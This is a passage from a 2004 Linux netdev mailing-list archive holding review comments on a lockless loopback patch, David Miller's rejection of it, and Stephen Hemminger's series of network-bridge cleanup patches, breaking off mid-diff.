2004-05-21 11:00:24.000000000 -0700 > +++ linux/drivers/net/loopback.c 2004-05-21 11:04:00.000000000 -0700 > @@ -123,7 +123,9 @@ > */ > static int loopback_xmit(struct sk_buff *skb, struct net_device *dev) > { > - struct net_device_stats *stats = dev->priv; > + struct net_device_stats *global_stats = dev->priv; > + struct net_device_stats *percpu_stats = 0; > + struct net_device_stats *local_stats = 0; > Either do per-cpu stats or don't this seems confused with a mix of per-cpu and global. > skb_orphan(skb); > > @@ -142,11 +144,13 @@ > } > > dev->last_rx = jiffies; > - if (likely(stats)) { > - stats->rx_bytes+=skb->len; > - stats->tx_bytes+=skb->len; > - stats->rx_packets++; > - stats->tx_packets++; > + if (likely(global_stats)) { > + percpu_stats = global_stats + 1; > + local_stats = &percpu_stats[smp_processor_id()]; > + local_stats->rx_bytes+=skb->len; > + local_stats->tx_bytes+=skb->len; > + local_stats->rx_packets++; > + local_stats->tx_packets++; > } > > netif_rx(skb); > @@ -156,7 +160,22 @@ > > static struct net_device_stats *get_stats(struct net_device *dev) > { > - return (struct net_device_stats *)dev->priv; > + int i; > + struct net_device_stats *global_stats = dev->priv; > + struct net_device_stats *percpu_stats = 0; > + > + if (global_stats) { > + percpu_stats = global_stats + 1; > + /* zero the system-wide stats */ > + memset(global_stats, 0, sizeof(struct net_device_stats)); > + for ( i = 0; i < NR_CPUS; i++ ) { > + global_stats->rx_bytes += percpu_stats[i].rx_bytes; > + global_stats->tx_bytes += percpu_stats[i].tx_bytes; > + global_stats->rx_packets += percpu_stats[i].rx_packets; > + global_stats->tx_packets += percpu_stats[i].tx_packets; > + } > + } > + return global_stats; > } > > struct net_device loopback_dev = { > @@ -181,13 +200,19 @@ > { > struct net_device_stats *stats; > > +#define NR_LOOP_STATS (NR_CPUS + 1) > + /* the first net_device_stats structure is for the whole system, the > + * remaining NR_CPUS of them are for each cpu */ > + > /* Can survive without statistics */ > - stats = kmalloc(sizeof(struct net_device_stats), GFP_KERNEL); > + stats = kmalloc(NR_LOOP_STATS * sizeof(struct net_device_stats), GFP_KERNEL); > Use use per-cpu data rather than slots in an array. > if (stats) { > - memset(stats, 0, sizeof(struct net_device_stats)); > + memset(stats, 0, NR_LOOP_STATS * sizeof(struct net_device_stats)); > loopback_dev.priv = stats; > loopback_dev.get_stats = &get_stats; > } > +#undef NR_LOOP_STATS > > return register_netdev(&loopback_dev); > }; > diff -Naur linux.orig/net/core/dev.c linux/net/core/dev.c > --- linux.orig/net/core/dev.c 2004-05-21 11:01:01.000000000 -0700 > +++ linux/net/core/dev.c 2004-05-21 11:03:44.000000000 -0700 > @@ -1295,6 +1295,7 @@ > struct net_device *dev = skb->dev; > struct Qdisc *q; > int rc = -ENOMEM; > + int loopback = dev->flags & IFF_LOOPBACK; Boolean flags are for PASCAL programmers, test it where you use it. > > if (skb_shinfo(skb)->frag_list && > !(dev->features & NETIF_F_FRAGLIST) && > @@ -1322,17 +1323,19 @@ > } The real problem here is having a single queue, for the loopback device you don't want a a queue at all by default. That would get around a lot of the mess. > /* Grab device queue */ > - spin_lock_bh(&dev->queue_lock); > - q = dev->qdisc; > - if (q->enqueue) { > - rc = q->enqueue(skb, q); > + if (!loopback) { > + spin_lock_bh(&dev->queue_lock); > + q = dev->qdisc; > + if (q->enqueue) { > + rc = q->enqueue(skb, q); > > - qdisc_run(dev); > + qdisc_run(dev); > > - spin_unlock_bh(&dev->queue_lock); > - rc = rc == NET_XMIT_BYPASS ? NET_XMIT_SUCCESS : rc; > - goto out; > - } > + spin_unlock_bh(&dev->queue_lock); > + rc = rc == NET_XMIT_BYPASS ? NET_XMIT_SUCCESS : rc; > + goto out; > + } > + } /* !loopback */ > > /* The device has no queue. Common case for software devices: > loopback, all the sorts of tunnels... > @@ -1354,11 +1357,13 @@ > * The spin_lock effectivly does a preempt lock, but > * we are about to drop that... > */ > - preempt_disable(); > - spin_unlock(&dev->queue_lock); > - spin_lock(&dev->xmit_lock); > - dev->xmit_lock_owner = cpu; > - preempt_enable(); > + if (!loopback) { > + preempt_disable(); > + spin_unlock(&dev->queue_lock); > + spin_lock(&dev->xmit_lock); > + dev->xmit_lock_owner = cpu; > + preempt_enable(); > + } > > if (!netif_queue_stopped(dev)) { > if (netdev_nit) > @@ -1366,13 +1371,17 @@ > > rc = 0; > if (!dev->hard_start_xmit(skb, dev)) { > - dev->xmit_lock_owner = -1; > - spin_unlock_bh(&dev->xmit_lock); > + if (!loopback) { > + dev->xmit_lock_owner = -1; > + spin_unlock_bh(&dev->xmit_lock); > + } > goto out; > } > } > - dev->xmit_lock_owner = -1; > - spin_unlock_bh(&dev->xmit_lock); > + if (!loopback) { > + dev->xmit_lock_owner = -1; > + spin_unlock_bh(&dev->xmit_lock); > + } > if (net_ratelimit()) > printk(KERN_CRIT "Virtual device %s asks to " > "queue packet!\n", dev->name); > @@ -1385,7 +1394,8 @@ > "%s, fix it urgently!\n", dev->name); > } > } > - spin_unlock_bh(&dev->queue_lock); > + if (!loopback) > + spin_unlock_bh(&dev->queue_lock); > out_enetdown: > rc = -ENETDOWN; > out_kfree_skb: From davem@redhat.com Fri May 21 14:46:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 14:46:08 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LLk5KO028631 for ; Fri, 21 May 2004 14:46:05 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4LLk5GG014455; Fri, 21 May 2004 17:46:05 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4LLk4004692; Fri, 21 May 2004 17:46:04 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4LLk2hk001067; Fri, 21 May 2004 17:46:03 -0400 Date: Fri, 21 May 2004 14:45:57 -0700 From: "David S. Miller" To: Arthur Kepner Cc: netdev@oss.sgi.com Subject: Re: [PATCH] "lockless loopback" patch for 2.6.6 Message-Id: <20040521144557.6a2c6a02.davem@redhat.com> In-Reply-To: References: <20040512120810.464aaee6.davem@redhat.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5224 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 21 May 2004 14:04:09 -0700 Arthur Kepner wrote: > Lock contention on the loopback device can lead to poor > performance, even an essentially hung system, on systems > with many processors. > > For the loopback device, the only purpose that locking serves > is to protect the device statistics. The attached patch > keeps per-cpu statistics for the loopback device and removes > all locking. The patch is against 2.6.6. It is legal to attach queueing disciplines to the loopback device but your patch makes that impossible. I don't think it is worth worrying about things like this especially if you're going to be adding ugly loopback special cases to the generic device handling code like this. From jgarzik@pobox.com Fri May 21 15:34:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 15:34:12 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LMY3KO003015 for ; Fri, 21 May 2004 15:34:04 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BRIaY-0005zY-C8; Fri, 21 May 2004 23:34:02 +0100 Message-ID: <40AE83CB.8070200@pobox.com> Date: Fri, 21 May 2004 18:33:47 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 1/5] 2.6.6-bk8 pcnet32 add static to two routines. References: <200405212027.i4LKRbl10163@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200405212027.i4LKRbl10163@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5225 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied patches 1-5 to 2.6.x From shemminger@osdl.org Fri May 21 15:45:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 15:45:28 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LMjOKO003406 for ; Fri, 21 May 2004 15:45:25 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LMjBr17194; Fri, 21 May 2004 15:45:11 -0700 Date: Fri, 21 May 2004 15:45:11 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com, David Woodhouse , Diego Liziero Subject: [1/11] bridge - handle delete of multiple devices with same address Message-Id: <20040521154511.1d7b896d@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5226 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev This fixes the issue discovered when removing bluetooth devices from a bridge. Need to add special case code when forwarding table is being cleaned up to handle the case where several devices share the same hardware address. (Could fix on 2.4 if there is demand for it) diff -Nru a/net/bridge/br_fdb.c b/net/bridge/br_fdb.c --- a/net/bridge/br_fdb.c 2004-05-20 08:43:46 -07:00 +++ b/net/bridge/br_fdb.c 2004-05-20 08:43:46 -07:00 @@ -157,9 +157,28 @@ hlist_for_each_safe(h, g, &br->hash[i]) { struct net_bridge_fdb_entry *f = hlist_entry(h, struct net_bridge_fdb_entry, hlist); - if (f->dst == p) { - fdb_delete(f); + if (f->dst != p) + continue; + + /* + * if multiple ports all have the same device address + * then when one port is deleted, assign + * the local entry to other port + */ + if (f->is_local) { + struct net_bridge_port *op; + list_for_each_entry(op, &br->port_list, list) { + if (op != p && + !memcmp(op->dev->dev_addr, + f->addr.addr, ETH_ALEN)) { + f->dst = op; + goto skip_delete; + } + } } + + fdb_delete(f); + skip_delete: ; } } write_unlock_bh(&br->hash_lock); From shemminger@osdl.org Fri May 21 15:48:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 15:48:22 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LMm9KO003787 for ; Fri, 21 May 2004 15:48:10 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LMlwr18194; Fri, 21 May 2004 15:47:58 -0700 Date: Fri, 21 May 2004 15:47:58 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (2/11) bridge -- cleanup of bridge allocation Message-Id: <20040521154758.16f6e873@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5227 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Minor cleanup (lead in to later sysfs support). Change new_nb to new_bridge_dev and return the net_device rather than bridge because that is what the caller wants anyway. diff -Nru a/net/bridge/br_if.c b/net/bridge/br_if.c --- a/net/bridge/br_if.c 2004-05-20 08:44:18 -07:00 +++ b/net/bridge/br_if.c 2004-05-20 08:44:18 -07:00 @@ -124,7 +124,7 @@ unregister_netdevice(br->dev); } -static struct net_bridge *new_nb(const char *name) +static struct net_device *new_bridge_dev(const char *name) { struct net_bridge *br; struct net_device *dev; @@ -135,7 +135,7 @@ if (!dev) return NULL; - br = dev->priv; + br = netdev_priv(dev); br->dev = dev; br->lock = SPIN_LOCK_UNLOCKED; @@ -160,7 +160,7 @@ br_stp_timer_init(br); - return br; + return dev; } /* find an available port number */ @@ -218,15 +218,16 @@ int br_add_bridge(const char *name) { - struct net_bridge *br; + struct net_device *dev; int ret; - if ((br = new_nb(name)) == NULL) + dev = new_bridge_dev(name); + if (!dev) return -ENOMEM; - ret = register_netdev(br->dev); + ret = register_netdev(dev); if (ret) - free_netdev(br->dev); + free_netdev(dev); return ret; } @@ -251,7 +252,7 @@ } else - del_br(dev->priv); + del_br(netdev_priv(dev)); rtnl_unlock(); return ret; From shemminger@osdl.org Fri May 21 15:51:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 15:51:55 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LMpnKO004162 for ; Fri, 21 May 2004 15:51:51 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LMpbr18814; Fri, 21 May 2004 15:51:37 -0700 Date: Fri, 21 May 2004 15:51:37 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (3/11) bridge -- relax locking on add/delete Message-Id: <20040521155137.7f4f3250@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5228 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Relax the locking on add/delete interfaces to a bridge. Since these operations are already called with RTNL semaphore, only need to hold the bridge lock while doing operations related to STP and processing path. This is necessary for later sysfs support where those operations might sleep. Get rid of some old leftover debug asserts as well. diff -Nru a/net/bridge/br_if.c b/net/bridge/br_if.c --- a/net/bridge/br_if.c 2004-05-20 09:23:41 -07:00 +++ b/net/bridge/br_if.c 2004-05-20 09:23:41 -07:00 @@ -78,46 +78,44 @@ static void destroy_nbp(void *arg) { struct net_bridge_port *p = arg; + struct net_device *dev = p->dev; - p->dev->br_port = NULL; - - BUG_ON(timer_pending(&p->message_age_timer)); - BUG_ON(timer_pending(&p->forward_delay_timer)); - BUG_ON(timer_pending(&p->hold_timer)); - - dev_put(p->dev); + dev->br_port = NULL; + dev_put(dev); kfree(p); } -/* called under bridge lock */ +/* called with RTNL */ static void del_nbp(struct net_bridge_port *p) { + struct net_bridge *br = p->br; struct net_device *dev = p->dev; + dev_set_promiscuity(dev, -1); + + spin_lock_bh(&br->lock); br_stp_disable_port(p); + spin_unlock_bh(&br->lock); - dev_set_promiscuity(dev, -1); + br_fdb_delete_by_port(br, p); list_del_rcu(&p->list); - br_fdb_delete_by_port(p->br, p); - - del_timer(&p->message_age_timer); - del_timer(&p->forward_delay_timer); - del_timer(&p->hold_timer); + del_timer_sync(&p->message_age_timer); + del_timer_sync(&p->forward_delay_timer); + del_timer_sync(&p->hold_timer); call_rcu(&p->rcu, destroy_nbp, p); } +/* called with RTNL */ static void del_br(struct net_bridge *br) { struct list_head *p, *n; - spin_lock_bh(&br->lock); list_for_each_safe(p, n, &br->port_list) { del_nbp(list_entry(p, struct net_bridge_port, list)); } - spin_unlock_bh(&br->lock); del_timer_sync(&br->gc_timer); @@ -171,7 +169,7 @@ unsigned long *inuse; inuse = kmalloc(BITS_TO_LONGS(BR_MAX_PORTS)*sizeof(unsigned long), - GFP_ATOMIC); + GFP_KERNEL); if (!inuse) return -ENOMEM; @@ -186,7 +184,7 @@ return (index >= BR_MAX_PORTS) ? -EXFULL : index; } -/* called under bridge lock */ +/* called with RTNL */ static struct net_bridge_port *new_nbp(struct net_bridge *br, struct net_device *dev, unsigned long cost) @@ -198,7 +196,7 @@ if (index < 0) return ERR_PTR(index); - p = kmalloc(sizeof(*p), GFP_ATOMIC); + p = kmalloc(sizeof(*p), GFP_KERNEL); if (p == NULL) return ERR_PTR(-ENOMEM); @@ -258,10 +256,10 @@ return ret; } +/* called with RTNL */ int br_add_if(struct net_bridge *br, struct net_device *dev) { struct net_bridge_port *p; - unsigned long cost; int err = 0; if (dev->flags & IFF_LOOPBACK || dev->type != ARPHRD_ETHER) @@ -270,48 +268,45 @@ if (dev->hard_start_xmit == br_dev_xmit) return -ELOOP; - cost = br_initial_port_cost(dev); - - spin_lock_bh(&br->lock); if (dev->br_port != NULL) - err = -EBUSY; + return -EBUSY; - else if (IS_ERR(p = new_nbp(br, dev, cost))) - err = PTR_ERR(p); + if (IS_ERR(p = new_nbp(br, dev, br_initial_port_cost(dev)))) + return PTR_ERR(p); - else if ((err = br_fdb_insert(br, p, dev->dev_addr, 1))) - destroy_nbp(p); + if ((err = br_fdb_insert(br, p, dev->dev_addr, 1))) + destroy_nbp(p); else { dev_set_promiscuity(dev, 1); list_add_rcu(&p->list, &br->port_list); + spin_lock_bh(&br->lock); br_stp_recalculate_bridge_id(br); if ((br->dev->flags & IFF_UP) && (dev->flags & IFF_UP)) br_stp_enable_port(p); - + spin_unlock_bh(&br->lock); } - spin_unlock_bh(&br->lock); + return err; } +/* called with RTNL */ int br_del_if(struct net_bridge *br, struct net_device *dev) { - struct net_bridge_port *p; - int err = 0; + struct net_bridge_port *p = dev->br_port; + + if (!p || p->br != br) + return -EINVAL; + + del_nbp(p); spin_lock_bh(&br->lock); - p = dev->br_port; - if (!p || p->br != br) - err = -EINVAL; - else { - del_nbp(p); - br_stp_recalculate_bridge_id(br); - } + br_stp_recalculate_bridge_id(br); spin_unlock_bh(&br->lock); - return err; + return 0; } int br_get_bridge_ifindices(int *indices, int num) From shemminger@osdl.org Fri May 21 15:54:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 15:54:45 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LMseKO004484 for ; Fri, 21 May 2004 15:54:40 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4LMsPr19163; Fri, 21 May 2004 15:54:25 -0700 Date: Fri, 21 May 2004 15:54:25 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH] (4/11) bridge - ioctl cleanup and consolidation Message-Id: <20040521155425.57aa71c1@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5229 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Merge the ioctl stub calls that just end up calling the sub-function to do the actual ioctl. Move br_get_XXX_ifindices into the ioctl file as well where they can be static. diff -Nru a/net/bridge/br_device.c b/net/bridge/br_device.c --- a/net/bridge/br_device.c 2004-05-20 10:51:05 -07:00 +++ b/net/bridge/br_device.c 2004-05-20 10:51:05 -07:00 @@ -19,21 +19,6 @@ #include #include "br_private.h" -static int br_dev_do_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - unsigned long args[4]; - unsigned long *data; - - if (cmd != SIOCDEVPRIVATE) - return -EOPNOTSUPP; - - data = (unsigned long *)rq->ifr_data; - if (copy_from_user(args, data, 4*sizeof(unsigned long))) - return -EFAULT; - - return br_ioctl_device(dev->priv, args[0], args[1], args[2], args[3]); -} - static struct net_device_stats *br_dev_get_stats(struct net_device *dev) { struct net_bridge *br; @@ -115,7 +100,7 @@ ether_setup(dev); - dev->do_ioctl = br_dev_do_ioctl; + dev->do_ioctl = br_dev_ioctl; dev->get_stats = br_dev_get_stats; dev->hard_start_xmit = br_dev_xmit; dev->open = br_dev_open; diff -Nru a/net/bridge/br_if.c b/net/bridge/br_if.c --- a/net/bridge/br_if.c 2004-05-20 10:51:05 -07:00 +++ b/net/bridge/br_if.c 2004-05-20 10:51:05 -07:00 @@ -309,34 +309,6 @@ return 0; } -int br_get_bridge_ifindices(int *indices, int num) -{ - struct net_device *dev; - int i = 0; - - read_lock(&dev_base_lock); - for (dev = dev_base; dev && i < num; dev = dev->next) { - if (dev->priv_flags & IFF_EBRIDGE) - indices[i++] = dev->ifindex; - } - read_unlock(&dev_base_lock); - - return i; -} - -void br_get_port_ifindices(struct net_bridge *br, int *ifindices, int num) -{ - struct net_bridge_port *p; - - rcu_read_lock(); - list_for_each_entry_rcu(p, &br->port_list, list) { - if (p->port_no < num) - ifindices[p->port_no] = p->dev->ifindex; - } - rcu_read_unlock(); -} - - void __exit br_cleanup_bridges(void) { struct net_device *dev, *nxt; diff -Nru a/net/bridge/br_ioctl.c b/net/bridge/br_ioctl.c --- a/net/bridge/br_ioctl.c 2004-05-20 10:51:05 -07:00 +++ b/net/bridge/br_ioctl.c 2004-05-20 10:51:05 -07:00 @@ -27,14 +27,43 @@ ? jiffies_to_clock_t(timer->expires - jiffies) : 0; } -int br_ioctl_device(struct net_bridge *br, unsigned int cmd, - unsigned long arg0, unsigned long arg1, unsigned long arg2) +/* called with RTNL */ +static int get_bridge_ifindices(int *indices, int num) { - if (br == NULL) - return -EINVAL; + struct net_device *dev; + int i = 0; - switch (cmd) - { + for (dev = dev_base; dev && i < num; dev = dev->next) { + if (dev->priv_flags & IFF_EBRIDGE) + indices[i++] = dev->ifindex; + } + + return i; +} + +/* called with RTNL */ +static void get_port_ifindices(struct net_bridge *br, int *ifindices, int num) +{ + struct net_bridge_port *p; + + list_for_each_entry(p, &br->port_list, list) { + if (p->port_no < num) + ifindices[p->port_no] = p->dev->ifindex; + } +} + +int br_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) +{ + struct net_bridge *br = netdev_priv(dev); + unsigned long args[4]; + + if (cmd != SIOCDEVPRIVATE) + return -EOPNOTSUPP; + + if (copy_from_user(args, rq->ifr_data, sizeof(args))) + return -EFAULT; + + switch (args[0]) { case BRCTL_ADD_IF: case BRCTL_DEL_IF: { @@ -44,11 +73,11 @@ if (!capable(CAP_NET_ADMIN)) return -EPERM; - dev = dev_get_by_index(arg0); + dev = dev_get_by_index(args[1]); if (dev == NULL) return -EINVAL; - if (cmd == BRCTL_ADD_IF) + if (args[0] == BRCTL_ADD_IF) ret = br_add_if(br, dev); else ret = br_del_if(br, dev); @@ -83,7 +112,7 @@ b.gc_timer_value = timer_residue(&br->gc_timer); rcu_read_unlock(); - if (copy_to_user((void *)arg0, &b, sizeof(b))) + if (copy_to_user((void *)args[1], &b, sizeof(b))) return -EFAULT; return 0; @@ -93,7 +122,7 @@ { int num, *indices; - num = arg1; + num = args[2]; if (num < 0) return -EINVAL; if (num == 0) @@ -107,8 +136,8 @@ memset(indices, 0, num*sizeof(int)); - br_get_port_ifindices(br, indices, num); - if (copy_to_user((void *)arg0, indices, num*sizeof(int))) + get_port_ifindices(br, indices, num); + if (copy_to_user((void *)args[1], indices, num*sizeof(int))) num = -EFAULT; kfree(indices); return num; @@ -119,7 +148,7 @@ return -EPERM; spin_lock_bh(&br->lock); - br->bridge_forward_delay = clock_t_to_jiffies(arg0); + br->bridge_forward_delay = clock_t_to_jiffies(args[1]); if (br_is_root_bridge(br)) br->forward_delay = br->bridge_forward_delay; spin_unlock_bh(&br->lock); @@ -130,7 +159,7 @@ return -EPERM; spin_lock_bh(&br->lock); - br->bridge_hello_time = clock_t_to_jiffies(arg0); + br->bridge_hello_time = clock_t_to_jiffies(args[1]); if (br_is_root_bridge(br)) br->hello_time = br->bridge_hello_time; spin_unlock_bh(&br->lock); @@ -141,7 +170,7 @@ return -EPERM; spin_lock_bh(&br->lock); - br->bridge_max_age = clock_t_to_jiffies(arg0); + br->bridge_max_age = clock_t_to_jiffies(args[1]); if (br_is_root_bridge(br)) br->max_age = br->bridge_max_age; spin_unlock_bh(&br->lock); @@ -151,7 +180,7 @@ if (!capable(CAP_NET_ADMIN)) return -EPERM; - br->ageing_time = clock_t_to_jiffies(arg0); + br->ageing_time = clock_t_to_jiffies(args[1]); return 0; case BRCTL_GET_PORT_INFO: @@ -160,7 +189,7 @@ struct net_bridge_port *pt; rcu_read_lock(); - if ((pt = br_get_port(br, arg1)) == NULL) { + if ((pt = br_get_port(br, args[2])) == NULL) { rcu_read_unlock(); return -EINVAL; } @@ -181,7 +210,7 @@ rcu_read_unlock(); - if (copy_to_user((void *)arg0, &p, sizeof(p))) + if (copy_to_user((void *)args[1], &p, sizeof(p))) return -EFAULT; return 0; @@ -191,7 +220,7 @@ if (!capable(CAP_NET_ADMIN)) return -EPERM; - br->stp_enabled = arg0?1:0; + br->stp_enabled = args[1]?1:0; return 0; case BRCTL_SET_BRIDGE_PRIORITY: @@ -199,7 +228,7 @@ return -EPERM; spin_lock_bh(&br->lock); - br_stp_set_bridge_priority(br, arg0); + br_stp_set_bridge_priority(br, args[1]); spin_unlock_bh(&br->lock); return 0; @@ -211,14 +240,14 @@ if (!capable(CAP_NET_ADMIN)) return -EPERM; - if (arg1 >= (1<<(16-BR_PORT_BITS))) + if (args[2] >= (1<<(16-BR_PORT_BITS))) return -ERANGE; spin_lock_bh(&br->lock); - if ((p = br_get_port(br, arg0)) == NULL) + if ((p = br_get_port(br, args[1])) == NULL) ret = -EINVAL; else - br_stp_set_port_priority(p, arg1); + br_stp_set_port_priority(p, args[2]); spin_unlock_bh(&br->lock); return ret; } @@ -232,27 +261,30 @@ return -EPERM; spin_lock_bh(&br->lock); - if ((p = br_get_port(br, arg0)) == NULL) + if ((p = br_get_port(br, args[1])) == NULL) ret = -EINVAL; else - br_stp_set_path_cost(p, arg1); + br_stp_set_path_cost(p, args[2]); spin_unlock_bh(&br->lock); return ret; } case BRCTL_GET_FDB_ENTRIES: - return br_fdb_get_entries(br, (void *)arg0, arg1, arg2); + return br_fdb_get_entries(br, (void *)args[1], args[2], args[3]); } return -EOPNOTSUPP; } -static int br_ioctl_deviceless(unsigned int cmd, - unsigned long arg0, - unsigned long arg1) + +int br_ioctl_deviceless_stub(unsigned long uarg) { - switch (cmd) - { + unsigned long args[3]; + + if (copy_from_user(args, (void *)uarg, sizeof(args))) + return -EFAULT; + + switch (args[0]) { case BRCTL_GET_VERSION: return BRCTL_VERSION; @@ -261,15 +293,15 @@ int *indices; int ret = 0; - indices = kmalloc(arg1*sizeof(int), GFP_KERNEL); + indices = kmalloc(args[2]*sizeof(int), GFP_KERNEL); if (indices == NULL) return -ENOMEM; - memset(indices, 0, arg1*sizeof(int)); - arg1 = br_get_bridge_ifindices(indices, arg1); + memset(indices, 0, args[2]*sizeof(int)); + args[2] = get_bridge_ifindices(indices, args[2]); - ret = copy_to_user((void *)arg0, indices, arg1*sizeof(int)) - ? -EFAULT : arg1; + ret = copy_to_user((void *)args[1], indices, args[2]*sizeof(int)) + ? -EFAULT : args[2]; kfree(indices); return ret; @@ -283,12 +315,12 @@ if (!capable(CAP_NET_ADMIN)) return -EPERM; - if (copy_from_user(buf, (void *)arg0, IFNAMSIZ)) + if (copy_from_user(buf, (void *)args[1], IFNAMSIZ)) return 